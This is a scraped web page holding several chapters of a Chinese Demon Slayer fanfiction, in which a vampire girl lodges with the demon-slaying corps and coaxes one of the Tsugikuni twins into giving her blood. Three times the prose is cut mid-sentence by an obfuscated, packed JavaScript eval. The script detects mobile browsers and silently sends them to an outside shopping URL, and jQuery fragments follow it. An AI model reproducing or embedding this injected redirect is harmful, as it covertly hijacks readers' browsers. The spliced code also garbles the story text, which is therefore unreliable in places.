产屋敷说,女性的一生不应该局限在传承当中,如果琉璃讨厌自己未来的丈夫,他很支持琉璃去做她自己喜欢的事情,追求她喜欢的人,掌握自己的人生。 产屋敷说,她是一个很勇敢,也很有能力的女性,而且心思单纯,底色善良,虽然有着与鬼相似的习性,却不与鬼为伍,十分高洁。 产屋敷说,鬼与鬼王阴险狡诈,为达目的不择手段,像她这样单纯的,如果被鬼王发现,怕是会被鬼王利用,他不奢求琉璃全心全意的帮助人类,只希望她别被无惨蛊惑,做出让她自己后悔的事情。 这些话简直是说到琉璃心坎里去了。 当初她就是被那只鬼哄骗,才将人类的孩子交于他看管,最后也是因为那只鬼的挑拨离间,她转化的族人才与自己反目成仇。 到现在琉璃都在后悔,后悔当初听信了鬼的鬼话。 她明明只是想把人类的小孩带走给个教训,心里痛快了就会将他放回去了,如果没有那只鬼,人类的孩子不会死,那对夫妻不会被转换成血族,一生都在复仇,落得个灰飞烟灭的下场。 而且她确实从小被呵护着长大,心思单纯,底色善良,又有着纯血的强悍实力,她已经厌倦了笼中鸟的生活,活着就是为了嫁给那个蠢蛋兄长,再生几个纯血孩子。 她未来的丈夫,一定要有着继国缘一的实力,以及产屋敷的智慧与包容才行。 琉璃看着眼前俊秀文雅的黑发青年,钦佩道:“首领先生,您是我见过最聪慧的人类,比缘一还要聪明呢。” 产屋敷笑着摇摇头,端起茶杯,说道:“人类的力量弱小,但各有长处,只有这样,大家聚集在一起才能变得强大。” 这就是语言的艺术啊,并没有否认别人对自己的夸奖,还夸赞了自己的部下并不是不聪明,而是有更擅长的事情。 琉璃真心实意地对他说:“首领先生,我好像有点喜欢你了。” “……噗咳。”刚喝进去的水重新呛了出来,产屋敷脸上的笑有点挂不住,咳嗽着看向琉璃,说话都有些结巴:“音、音羽山小姐,您、您这是……?” “我想待在首领先生的身边!” “!” 产屋敷右手边的黑发青年拔刀而起,愤怒道:“你这来路不明的血族!休想肖想主公大人!你还没有摆脱鬼的嫌疑,别擅自说这些奇奇怪怪的话!” 琉璃蹙起眉头,说:“你好没礼貌,我一点也不喜欢你。” “哈?!谁要你喜欢了!你的喜欢一点都不重要!” “既然不重要,那我喜欢谁和你有什么关系,我就是很喜欢首领先生,你在这里插什么嘴。” “你!” 他的额头因为愤怒有青筋在暴跳,握着刀柄的手捏得泛白,身边的金橘色青年立刻拦住他,笑了几声,说:“好了好了,先听听主公大人怎么说吧。” 产屋敷平复了呼吸,此时已经缓过来了,他无奈地露出一个笑容,说道:“您真可爱,我明白您只是在表达您的善意……好了,今夜聊了许久,大家应该都有些乏了,缘一,姬君就拜托你好好照顾了。 继国缘一颔额,将音羽山琉璃给揪了出去。 他长得高大,拎琉璃就像是拎小鸡仔似的。 琉璃挣扎了好一会儿才重新站回地上,不满地看向他:“缘一,你干什么?就这样把我拎出来很没礼貌的,一点都不绅士。” 继国缘一眼神古怪,说:“主公已有家室,你不该对他说那样的话。” “哪样的话?” “倾慕他的话。” “可是我确实很喜欢和他交谈。”琉璃蹙着眉:“不能说吗?” “……”继国缘一无奈地叹口气:“夫人不是心胸狭隘之人,但难免会产生一些误会,你既然没有爱慕追求主公的意思,就不要说这些。” 直抒胸臆都能引起误会,人类真是敏感又可怜的生物。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294857|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 琉璃理解地点点头:“好吧,知道了,我听你的。” 继国缘一不知道琉璃在脑袋里脑补了什么,反正她答应了,这种事情应该不会再发生。 这个话题结束在这里,回房间的路上,琉璃想到什么,又问他:“说起来,缘一,刚刚那个凶巴巴的家伙是谁?他明明没有你厉害,但是看上去比你还嚣张。” “那是风柱。” “那拉着他的那个金色猫头鹰又是谁?” “……那是炎柱。” “原来如此,他们就是柱啊。” 这一整个晚上,琉璃和产屋敷都在交换情报,她告诉了产屋敷血族的基本情况和这几十年来她的遭遇,产屋敷也告诉了她鬼的由来,鬼舞辻无惨的基本信息,以及由杀鬼人组成的鬼杀队的情况。 现在人类已经掌握了名为呼吸法的攻击手段,能让弱小的身体变得如同鬼一样强大,配合用特殊材料做成的日轮刀,以剑术加持,就可以做到与鬼对抗,将鬼的头颅斩下,将鬼杀死。 而人类当中最强的那几人被选为鬼杀队的“柱”,他们拥有不俗的实力,并以掌握的呼吸法命名,风之呼吸的最强者是风柱,炎之呼吸的最强者是炎柱,雷之呼吸的最强者是鸣柱,水之呼吸的最强者是水柱等等。 获得了鬼舞辻无惨血液的人会变成鬼,获得的血液越多,鬼越强大,吃的人越多,鬼越强大,到现在还出现了一些会使用术式的鬼,极难对付。 产屋敷认为,音羽山琉璃的出现可能会打破鬼与人类之间的僵局,形成新的局势,这究竟是好事还是坏事,他现在还无法预测。 只能期望着音羽山琉璃晚些被鬼舞辻无惨发现,这样才能少些变数。 “你之前在与同族的战斗中受了重伤,这段时间可以在这里修养。” 继国缘一将她安排在一间空房间住下:“有什么想要的东西可以和我说。” “嗯嗯。”音羽山琉璃一边应着,一边四处打量自己的新房间,她自从来到这个国家之后,还没有住过这么好的地方呢。 看着看着,她突然意识到一个问题:“缘一,你不和我住一起吗?” 继国缘一:“当然不。” “诶,可是如果我想攻击人类的话,那些柱可拦不住我。”琉璃说:“你不怕首领先生死掉吗?” “我会在你伤害主公之前就将你首落。”他的声音没什么起伏,“别和我开这种玩笑。” 音羽山琉璃蔫蔫地垮下肩膀:“真是无情的人类,我不会那样做的,我不是说过吗?我挺喜欢首领先生的。” “别说让人误会的话。” “吃醋了吗?我也同样很喜欢你哦,缘一。” 继国缘一沉默了几秒,这才重新开口,问道:“像你这样的生物,也知道什么是爱吗?” 明明是一句再正常不过的反问,却像一把锋利的剑,狠狠贯穿了音羽山琉璃的心脏。 爱这种东西,可能是琉璃一辈子都无法参透的东西。 她不知道兄长怎么就喜欢上了血统不纯的笨蛋混血,也不知道那对父母怎么会愿意为了给孩子报仇甘愿变成血族,最后还妄想杀了分给他们力量的自己,更不知道柱们为什么会为了保护人类与首领先生,不惜献出生命。 这些行为的背后藏着她无法理解的逻辑。 但,不管怎么说。 继国缘一这句话实在太过分了。 琉璃决定暂时收回对他的喜欢。 5. 五只血族 继国缘一有一个胞兄,名字叫做继国岩胜。 那是一个和缘一长的很像,但更端庄秀气的男性。 当时琉璃刚醒,睡得迷迷糊糊,拉开门看到继国岩胜,张口就喊了缘一的名字,等男人回头看过来,她才发现不是。 继国岩胜看到音羽山琉璃也是一愣,后来想起确实有听说弟弟从外面带回来一容貌艳丽的女子,倒也立刻就明白了。 不过他没给琉璃什么好脸,从外面带回来的女人来路不明,听闻习性也如同鬼一样,不一定是什么好家伙。 继国岩胜只是扫了她一眼,就要去缘一的屋子里等他,琉璃却对这个长得像缘一的男人很感兴趣,即使他态度冷冰冰的,她也将还晕乎的脑袋拍醒,爬到长廊外,喊住他:“继国,继国。” 青年脚步一顿,没有理会,继续往旁边走。 “继国,继国,继国继国。” 继国岩胜忍了忍,最后在一声声的“继国”下,还是没能忍住,皱着眉头看过去:“你有何事?为什么知道我的名字?” “你和缘一长得那么像,肯定也叫继国呀,但是叫继国什么我却不知道呢。”琉璃趴在长廊的栏杆上,朝他笑:“你是来找缘一的吗?他暂时不在哦。” 继国岩胜:“我在房间里等他。” “有炎柱来过的味道,他们可能去找首领先生了,你一个人等着不无聊吗?”音羽山琉璃招招手:“继国继国,反正都是坐着,不如和我聊聊天呗。” “不用了。”他冷着脸收回视线,直径走入了继国缘一的屋子。 原本继国岩胜是打算不论那个女人说什么,他都不会再有所回应的,就算再厚脸皮的人被这样对待,也应该会放弃了才对。 “继国,别那么内向嘛,出来聊聊天呀。” “继国,我好不容易白天醒了,等到晚上人类又得睡觉了,你就和我说说话呗。” “继国,继国。” “继国……” 这个声音简直就是阴魂不散,即使继国岩胜都没有回应,她都能自说自话起来,偶尔穿插一句他的名字,烦人的要命。 在闭上眼睛深呼吸了三口气后,继国岩胜猛地将木门推开,怒道:“够了!” 音羽山琉璃倚着栏杆,见他出来,朝他眨了眨眼睛,随后举起手里捧着的茶叶陶罐,说:“你喜欢喝茶吗?我这里也还有一些甜点。” 继国岩胜很讨厌这种厚脸皮的女性,在他的印象中,女性都是温柔婉约,说话轻声细语,举止恭顺有礼的,而这个被缘一带回来的女人,笑得牙齿都露出来,声音能从一个房间传到另一个房间,吵吵闹闹,无视尊卑…… 琉璃抓了一把茶叶放在茶杯里,然后又去拿刚烧好的开水。 继国岩胜头痛地抬手制止:“好了,不必。” 连茶都不会泡,不知道是哪里来的乡野女子。 音羽山琉璃只好放下茶罐,从桌子上又拿起一碟和果子,这个可是今天早上炎柱来找缘一的时候带过来的,味道香还新鲜,就是有点甜,她不喜欢吃太甜的东西。 继国岩胜过来不是来喝茶吃点心的,他看都没看那些甜食,开门见山地问:“你想和我说什么?” “只是想和你闲谈而已。”琉璃说:“等待的时间难道不觉得无聊吗?” 他面无表情:“我与鬼,没什么好说的。” “可我不是鬼呀。” “你能欺骗缘一,并不代表也能欺骗我。”继国岩胜指着外面发白的阳光,说:“你敢现在出去,站在阳光下再重新与我说那句话吗?” “那个我也做不到。” 继国岩胜只觉得荒谬,他的手已经放在了刀柄上:“你在挑衅我吗?你以为我无法就地将你斩首?” 音羽山琉璃一愣,立马举起双手表明自己的无害:“没有,真没有,我和鬼不一样,我是血族,并不会吃人类的肉。” “什么血族,闻所未闻,你要如何证明自己的身份?” 其实能站在这里和他说那么久的话,就已经证明她不是鬼,至少不是那种会被本能或者是鬼王控制的鬼了吧? 音羽山琉璃觉得继国岩胜不太聪明,比缘一和首领先生要笨许多。 啊,既然不太聪明的话,也许会很轻易被她给骗到呢。 音羽山琉璃看着面前冷着脸的继国岩胜,脑袋里忽然就有了一个主意。 她的唇边扬起笑容,故意说些奉承的话:“我能够感觉到你的力量十分强大,有着很成熟的力量。我确实是血族没错,血族与鬼不同,不会被人类的血肉冲昏头脑,你大可以试一试,给我一些血液,如果我吃下去之后失控,你当然可以砍死我,但如果我没有失控,这样就可以证明我不是鬼了。” 继国岩胜居高临下地看着她。 这段话说的很有道理,不管是不是血族,只要这个女人被血引得失去了理智,他就有足够的理由直接砍下她的脑袋。 没有思考多久,他食指在推出来的刀刃上轻轻抹过,在指腹上划出一条伤口,鲜血顺着指尖滴了两滴血珠在地板上,散发着轻微的血腥气。 饶是说出这些话的琉璃都没想到他会给的这么干脆,连忙托住青年的手背,用嘴唇含住伤口,久违的接触到了人类的血液。 继国岩胜身上有着和缘一同样的血液,可品尝起来却不如想象中那样奔腾热烈,反而像是清冷的雪松,有着醇香冷冽的味道。 好香。 尖锐的虎牙刺入伤口,将那一条缝隙撑开,更多的鲜血流出如来,消失在唇齿和舌尖。 继国岩胜只在最初感觉到刺痛和不适,柔软湿润的唇瓣很快就让那种不适感消除,温热的舌尖舔舐着伤口,是另一种莫名其妙的感觉,又痛又爽,甚至还有些麻。 不过比起这个,他察觉到了女人吞咽的咽部,以及不正常的血液流失速度,继国岩胜心中一凛,呵斥道:“停下!” 甘甜的鲜血涌入口腔,这种味道简直让音羽山琉璃沉迷,根本就没听见他在说什么。 直到长刀“噌”的一声出鞘,冰冷的刀剑指着眉心,那道冷光让琉璃猛然清醒,她才缓缓抬起头,仰视着比自己高不少的青年。 有血液沾在了嘴角,琉璃下意识用舌头卷进口腔,继国岩胜压下心中古怪的沉闷,咬着后槽牙,忽而用虎口掐紧她的脸颊。 “你还说你不是鬼!” 紧握刀柄的右手准备好了突刺的刀型,那刀光阴冷,藏着主人难以匹敌的力量。 就在继国岩胜要将刀尖刺进去时,继国缘一瞬间出现在了音羽山琉璃的身边,按住了继国岩胜掐住琉璃脸颊的那只手。 红色眼眸一如既往没什么神采,但手上的力度却迫使继国岩胜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294858|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松开了手。 “兄长。”继国缘一先是逼退了继国岩胜,不过这里萦绕的血腥味却让他一愣,下意识先看向琉璃的脸,发现没有伤口,随即又立刻朝继国岩胜投去目光,最后视线定格在青年的指腹上。 那里残留着一道很细微的划伤,现在已经不再往外面渗血了。 继国缘一蹙起眉头:“琉璃伤害了您吗?兄长。” 音羽山琉璃不满地鼓起腮帮子:“我可没有,是他想让我证明我不是鬼。他看不见你能看见的东西,我只能用这种方法来证明自己了。” 他扫了琉璃一眼,声音冷淡:“先把你手上沾上的血擦干净再说话。” 琉璃低头一看,发现确实自己手上沾上了一些,她完全不想浪费,抬起手就去舔。 继国缘一有点头痛,他没有随身带帕子的习惯,只能眼不见为净地扭过头,去看自己的兄长,解释道:“琉璃不是鬼舞辻无惨转化的鬼,他们确实存在不同,兄长可以放心,不要用这种方式去做验证。” “……你觉得我多管闲事?” “不,只是我担心……” “罢了。” 刀身收入刀鞘,继国岩胜背过身,打断了继国缘一的话。 他停顿半晌,又说:“我先走了,下次再见吧。” 继国缘一还想说什么,继国岩胜却直径离开,没有再回头。 真是气人,这两个家伙。 继国岩胜越走越快。 他知道缘一的力量在他之上,可这不代表着旁人可以随意置喙。 什么叫“他看不见你能看见的东西”? 这也就算了,什么叫“不要用这种方式去证明”? 一个贬低他,一个质疑他,无若旁人,一唱一和。 这两个人…… 继国岩胜紧紧攥紧拳头,指腹传来刺痛,甚至从那道伤口中再次渗出鲜血。 他看着圆润鲜红的血珠,指尖甚至还能感受到被湿润唇瓣包裹住的柔软,还有舌尖舔舐皮肤的痒麻。 用舌头卷走嘴角鲜血的画面艳靡诡谲,到现在都还能清晰地回忆起来。 意识到自己在想什么,继国岩胜猛地回神,他有点生气,在原地站了一会儿平复情绪,这才闷闷地走掉。 有风将若有若无的血腥味带过来,音羽山琉璃微微抬头,鼻尖动了动,随即心情愉悦地上翘了嘴角。 继国缘一面无表情:“你笑什么?” “当然是觉得你兄长很有意思才笑的咯。”琉璃又问:“兄长先生到底叫什么?他到最后都没有告诉我呢。” “……我在让你不要随意哄骗别人给你血液,你听进去了没有?” “听进去了听见去了。”她胡乱地点着头:“所以兄长先生叫什么?” 继国缘一平静地看着他们:“这个该由兄长自己告诉你。” “……好吧,不说就不说。”琉璃撇撇嘴,而后又眯起眼睛笑:“缘一,兄长可比你有趣。” “咔。” 他的指腹推开一节刀身。 音羽山琉璃一激灵,立马摆手:“错了错了,我不会再随意哄骗他了,不要砍我。” 继国缘一这才将刀收回去。 “记住你说的话。” 琉璃面上乖巧微笑,心里骂骂咧咧。 切,明明是他笨。 6. 六只血族 继国缘一接到了任务,和继国岩胜一起出门,一走就是好几天。 琉璃本来就是耐不住寂寞的性子,一个人待着实在太无聊,于是太阳一落山,她就会跑去产屋敷那里聊天。 正好产屋敷对血族也很感兴趣,两个人有来有往的聊着,每晚都能聊很长时间。 也正是因为琉璃总是去产屋敷那里作客,她也能经常见到产屋敷那位美丽的神官夫人。 夫人有着漂亮的银白色长发,眼睛大而有神,睫毛纤长,是个小翘鼻,模样看上去很年轻,完全看不出来是几个孩子的妈。 琉璃也见过了产屋敷的继承人,小男孩有着一头柔顺的黑色妹妹头,五官完全就是产屋敷幼年体,而且小家伙很有礼貌,见到她会奶声奶气地喊她“琉璃姐姐”。 真是非常可爱的人类幼崽。 如果夫人和小少主都留下来一起聊天,产屋敷的表情会变得比平常温柔很多很多,说话也会更轻一些,在这个时候,他不是什么鬼杀队的首领,单纯就是一位温柔的丈夫、一位和蔼的父亲。 琉璃没见过自己的父亲,不过如果父亲在的话,应该也是像产屋敷一样温柔又和蔼吧。 继国缘一回来的那天晚上,音羽山琉璃在产屋敷那里教小少主编花环,才编到一半,就听到了缘一和产屋敷说话的声音。 琉璃已经有三四天没有见到缘一了,她立刻放下手上的东西,蹭过去,探出个头来,欣喜道:“缘一,你回来啦?这次任务顺利吗?” 继国缘一早就察觉到了琉璃的气息,看到她露头也没有惊奇,只是平淡地回答:“还算顺利。” 产屋敷带着温和的笑点点头:“辛苦了,累坏了吧?今夜睡个好觉,琉璃,时间不早,你也该回去休息了。” 音羽山琉璃知道他有送客的意思,只好伸手拍拍小少主的脑袋,说下次来拜访的时候再和他一起把花环编完。 此时正是深夜。 清冷的月光原本没有温度,晚夏的风却让月光多了可以触摸到的冷意。 音羽山琉璃踩着阴影一蹦一跳地往前走,继国缘一则是慢慢地跟在她身后。 走出一段距离,琉璃想到这次他去执行任务是和他的那位胞兄一起去的,于是她面向缘一,一边倒着走,一边问他:“怎么没看到岩胜和你一起来复命?他就回去了吗?” “兄长这次任务中身上出现了斑纹,回来后有些累了,便直接回去休息。”继国缘一这样说道。 “斑纹?斑纹是什么?” 他指了指自己脸上如同火焰一般的纹路:“这个就是。” “原来这个是后天自己长出来的?这个有什么用?” “会变强。” 闻言,音羽山琉璃停下来,主动拉进了与继国缘一的距离,细细地打量着继国缘一脸上像是刺青一样的花纹,看了许久,没发现什么特别的地方,只好作罢。 “如果下次岩胜来找你,我就能看看他变成了什么样子。”她想象不出来继国岩胜那张严肃地脸上刻了刺青的模样,总感觉很奇怪。 继国缘一:“听说我不在的这几天你经常来这边,你们很聊得来吗?” “首领先生?对呀,我们每次都能聊很久呢。”琉璃说:“首领先生是一个很温柔包容的人,又很稳重,年岁不大,说的话却总是能给我很多启发,他很厉害呀。” 他沉默片刻,又说:“主公已有家室。” “你总是这么说,首领先生有家室就有家室呗。”琉璃双手环胸,无所谓地晃晃脑袋:“我也很喜欢首领夫人呀,她很漂亮,对我也很有耐心,即使是异族也会接纳我,小少主又乖又听话,家庭氛围那么好,我很喜欢和他们待在一起。” 继国缘一闭上眼睛:“……” “每次和他们在一起的时候,我就感觉像是回到了理想中的家,可以倾诉心事的父亲,耐心温柔的母亲,懂事可爱的弟弟。”她感叹道:“我没有见过父亲,家里人也都很忙碌,如果我生在普通的家庭,一定就会是现在这样吧。” 继国缘一闭上的眼睛又睁开了:“所以你把主公当父亲?” “哎呀,也不能这么说吧,我都已经有几百岁了。”琉璃有些不好意思:“这样多难为情啊。” “这没什么大不了的。”他说:“如果你想要父亲的话,我和兄长也到了这个年纪……” 音羽山琉璃表情复杂:“真的假的?你真这样想吗?还是别说胡话了吧?” “……为什么?” “缘一可能还是个不错的父亲,毕竟你强大温柔,还有着不错的包容心。但是岩胜就算了吧,他一看就是不会照顾人的类型,而且还是臭脾气,凶凶巴巴的,一起玩玩算了,只适合做朋友。” 继国缘一听完这些话有些沉默,半晌才辩解一句:“兄长只是表面严厉而已。” “是吗?”琉璃不以为然地卷了卷垂落肩头的黑发:“反正我不想要一个天天板着脸的父亲。” 说完,她突然想到了什么,又笑道:“对了,也许是因为我对岩胜不够了解才会这样想,要是我能多和岩胜接触接触,多了解他一些,说不定就能发现他不错的地方呢?” 继国缘一面无表情:“你休想。” 他一直觉得自己不是善于揣测别人内心的人,但是音羽山琉璃分明就是想骗兄长给她血喝,这真的太明显了,实在是太明显了。 音羽山琉璃惋惜地叹了口气。 真是的,一点血而已,又不会要了岩胜的命。 不知道什么时候才能再次喝到呢……那种清新冷冽的味道,一旦品尝过,就开始念念不忘了。 …… 晚上这么思念着,第二天继国岩胜就出现了。 他的脸上确实出现了刺青,和缘一的一模一样,这两张脸本来就长得相似,发色也相似,现在有了斑纹,更是很难分得清楚。 不过要细细辨认的话,还是能够看得出来谁是岩胜谁是缘一。 岩胜总是板着脸,表情很是严肃,个子高一些,模样更为秀气,不管是走路还是坐着,都是笔挺笔挺的,很是威严。 而缘一则是更为松弛,就算没有表情看上去也不严肃,坐着会有些驼背,不如岩胜那样笔直。 他这次来似乎没什么要事,只是在和缘一闲聊。 聊着聊着话题来到了琉璃身上,他似乎已经接受了琉璃留在队里的事情,现在想知道缘一对她未来应当如何有怎样的想法。 缘一没想这么多,只是觉得应该将琉璃留在身边才不会多生事端。 岩胜余光扫了琉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294859|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璃一眼,没有说话。 见他们在讨论自己了,琉璃丝滑地插入到两个人的对话中,语气有几分夸张:“兄长先生,听缘一说,你这次去除鬼收获特别大,你脸上的这个是斑纹吧?” “嗯。”他先是应了一声,又朝琉璃投去视线:“……你叫我什么?” “你又不告诉我名字,我只能这么叫你了兄长先生。” “你应该称呼我为继国先生。” 琉璃摇摇头:“在场有两位继国先生,我这么喊的话,谁也不知道我在叫谁呀。” 继国岩胜面色古怪,没有回应她的话。 琉璃并没有被他冷漠的态度打倒,继续夸赞道:“听缘一和我解释过了,出现斑纹之后实力会更上一层楼,现在也没几个人能开斑纹,兄长先生,你好厉害哦。” 继国岩胜抿了抿嘴角,抬手喝口茶,说:“你直呼缘一的名字,那便也叫我岩胜吧。” 琉璃计谋得逞,从善如流地改口继续夸:“岩胜真是天赋异禀,人中翘楚,这几天产屋敷也经常和我说,你是队中数一数二的能人,有你是人类的幸运。” 青年微微含额,继续喝茶。 缘一赞同地点头:“兄长确实是难得一见的强者。” 继国岩胜这才开口:“虽说如此,还是远远不及缘一。” “我与兄长不同。” “……是啊。” 青年半磕着眼眸,原本柔和的面容逐渐冷硬起来,那被高高捧起的理智回到现实,让他回想起来,自己依旧是那个差人一步的假天才。 他们两个确实不同。 缘一的天赋是从生下来就远超于人类的,天真的父亲以为斑纹是不祥的象征,却不知道天生斑纹的人从一出生开始就站在人类的顶端。 他是最特别的。 继国岩胜放在大腿上的拳头紧紧握起。 自己从小被当做家主培养,努力修行练习剑术,现在也依旧在很努力提升自己,不论是月之呼吸,还是斑纹,他都没有落下,可不管怎么样,他都只是在追逐着弟弟的背影罢了。 继国缘一好像察觉到了兄长莫名低落下去的情绪。 音羽山琉璃抱着茶杯,借着喝茶的动作左边看了看缘一,右边看了看岩胜,最后眯起眼睛,但不敢真的笑出声。 哈哈哈哈哈,笨蛋缘一,惹哥哥不高兴了吧。 看在缘一对她足够好的份上,琉璃决定捞他一把,她说:“不同又如何,人类都不是天生强大的。虽然弱小,却都能凭借着自己的意志和后天的努力与鬼抗衡到现在,这才是人类真正的力量” “岩胜意志坚定,又十分努力,已经是人类中数一数二的强大的战力,我觉得这已经很了不起了。” 琉璃为他添满了茶水,并将茶盏端到他面前,笑道:“难道不是吗?” 继国岩胜的心情这才重新平和起来。 他将那茶盏接过去,指尖擦过少女柔嫩的皮肤,让他不可避免又想起那天晚上,琉璃含住他指尖的温软湿润。 视线从茶盏往上移,望入了对方那蔚蓝一片的眼眸中。 青年依旧没有说话,只有他自己才知道…… 他觉得这个女人好像是懂自己的。 真可笑,明明她连人类都不是。 7. 七只血族 和缘一走得比较近的那个人类剑士是队里的炎柱,叫做炼狱。 他长得高大健壮,性格爽朗,像火焰一样热情。 炼狱似乎很相信缘一。 当时缘一报信给队里,说带回来一个像鬼而又非鬼的女子,其他人都持怀疑态度,产屋敷也一连几天试探,只有炼狱先生很快就将琉璃当做自己人,来探望的时候总是会捎上一些小甜点。 在这个国家很少见到糖果,炼狱却能带来好几颗金平糖给她。琉璃很久没有吃到过糖,甜味在嘴里化开时,满眼都是惊奇。 炼狱见状大笑了几声,问:“怎么样?好吃吗?” “好吃诶!”琉璃眼睛亮起来:“在渔村的时候也有人给我糖吃,但是味道很奇怪,一点都不好吃。” “渔村?” “嗯嗯,我是坐船来的,在海边的渔村居住过一段时间。”琉璃朝他伸出手:“还要一个。” 炼狱直接将一整袋都递给了过去:“这个可不能吃太多哦,小心坏掉牙齿。” “为什么会坏掉牙齿?”她嘴里的糖搅得咔哒咔哒响。 炼狱和继国缘一对视一眼,有些迟疑:“你要这么说的话……医生倒是说过糖会产生酸腐蚀牙齿。” “可是它一点看都不酸呀。” “……” 炼狱抵着下巴,一副思考的模样。 琉璃也学着他歪头,等着他说得更清楚。 就这么安静了一会儿…… 继国缘一看了看炼狱,又看了看琉璃,问:“血族的牙也会坏掉吗?” 琉璃迷茫地回答:“不会吧,就算被打掉了也能长回来,坏掉了应该也能恢复。” 炼狱:“……” 因为音羽山琉璃表现得太像人类,他都快忘记了琉璃非人。 他大笑了两声:“哈哈哈,那就没有问题了!琉璃没有这方面的烦恼呢!真羡慕啊!” 又聊了一会儿,炼狱就要回去了。 这会儿正是下午,一天之中阳光最强烈的时候。 每天琉璃都会在这个时候窝去房间睡一会儿,等到太阳完全下山她又会醒来,如果继国缘一还没睡就和他聊聊天,如果他睡了,就跑去骚扰骚扰其他没有任务的柱。 在美美睡眠的时候被异族吵醒,柱们是不会给琉璃好脸色的,但是琉璃并不在意,柱们之前想探测她的实力,可不会好心地挑在夜晚拜访。 而被吵醒的柱确实非常不爽,却又不能拿她怎么办。 别看这死小孩每天一副天真浪漫的模样,有时候走路还一蹦一跳的,说话像是家里可爱的小辈,但是她的每一个笑脸背后藏着的鬼点子简直是让人防不胜防,不知道什么时候就着了道。 一开始几位脾气不怎么样的成年人对这位血族小孩严厉教导,告诉她要知礼数,对比自己年纪大的男性要恭顺,这死小孩看上去是听进去了,却在之后奉上了无数“大礼”,把柱们折腾的够呛。 今天的受害者是风柱。 头发散乱的男人生无可恋地陪琉璃坐在长廊上折纸飞机,他原本是最反对琉璃留在鬼杀队的,现在也没了声响,平常对她的态度也不算差。 平常见惯了生离死别的悲剧,回到宅邸有个闹腾的家伙反倒让人的心情感到轻快。 而且,主公曾说过,只要缘一还活着,她就不会与人类为敌,主公说的话从来不会出错,这次肯定也不会有问题的。 只是……为什么主公会那样说呢?难道是缘一有牵制她的手段? 一个女性无条件会站在一个男性身边…… 风柱懒散折纸的动作一顿,看着身边容貌能用艳丽来形容的女子,瞳孔地震:“那家伙,居然用这种方式……” 琉璃:“?” 突然在说什么呢这个人?真奇怪。 快要天亮的时候,音羽山琉璃回了屋子。 从人类的视角看太阳升起的这段时间,实在是一件非常神奇且美妙的事情。 那时天空正处于夜晚与白天的交界处,层层叠叠的深蓝将其几乎染成黑色,而伴随着太阳的升起,那片不见底的深蓝发生了不可思议的变化。 首先是最接近地面的远方,橙红的太阳如同熟透的柿子,远远地坠在遥不可及的远方,将周围的云朵都烧成美丽的红霞。深蓝、灰蓝、紫蓝与火红、橙红融合在一起,像是谁用画笔在调色板上混合颜料。 再过了一会儿,金色也出来了。 那抹金色会随着太阳的上升越发耀眼,天空也会在这种金红中逐渐变化成清澈透明的蓝。 琉璃坐在走廊上看完了日出。 这个国家的白天似乎来的会更早一些,明明卯时还不到,天就亮了。 太阳在天空中停留的越久,眼前的光越明亮,传递到周身的灼烧感就更明显,琉璃不经意间低头看见了自己有些干枯的发梢,指尖碾了碾上面的分叉,莫名感觉有些烦躁。 她的头发从来都没有这么难看过。 自从跟在继国缘一身边后,琉璃就没进过食,上次哄骗继国岩胜给的那点血液杯水车薪,美味的血液反而勾起了馋虫,总是蠢蠢欲动想要获得更多的血液。 她也不是没想过趁继国缘一睡着的时候偷偷去人类的村庄找一个美味的村民咬一口,可这样一定会被继国缘一发现的,她现在还没打算和缘一起冲突……放长线钓大鱼,等以后成了国家的领主,当然是她想喝谁的血就喝谁的血。 不过,说起来,继国岩胜看上去呆板的很,血液的味道却十分美味,不知道缘一的味道是怎样的,他们是双胞胎,身上留着相同的血,应该也很不错吧。 琉璃吞了吞口水,默默端起茶杯喝了一口已经冷掉的茶。 啊啊,真想尝尝啊,缘一的味道。 可惜他一点都不好骗,换做是岩胜也许…… “你在干什么?” 突然响起的声音吓了琉璃一跳,她下意识抬头看去,是继国缘一不知道什么时候来了。 她拍拍胸口,缓口气:“吓我一跳,你过来怎么一点动静都没有?” 就算没有脚步声,普通人类靠近也是会有隐藏不住的气息的,就算她刚刚想事情太沉醉了,真要有人来她不可能察觉不到。 只能说是继国缘一的实力深不可测,就连琉璃都没有发觉他的到来。 继国缘一顿了顿,只说:“有任务,你要和我们一起去。” “你们?”琉璃问:“谁?” “兄长。” “……” 琉璃顿时眼前一亮。 好耶! 把缘一支开!再让岩胜给点血! 继国缘一将手按在刀柄上,面无表情地开口:“别打坏主意。” 琉璃虚虚地捂着嘴唇,视线偏移:“哎呀,不会的啦,不会的啦。” 继国缘一是不信的,但他没有证据。 …… 夜晚,两人一血族在山口汇合。 继国岩胜穿着紫色的衣服,清冷的月光为他的轮廓镶上了一层银白色的边,偏黑的发色更显得他有些冷凝,表情也更为严肃。 听到琉璃的脚步声,他侧过身看来。 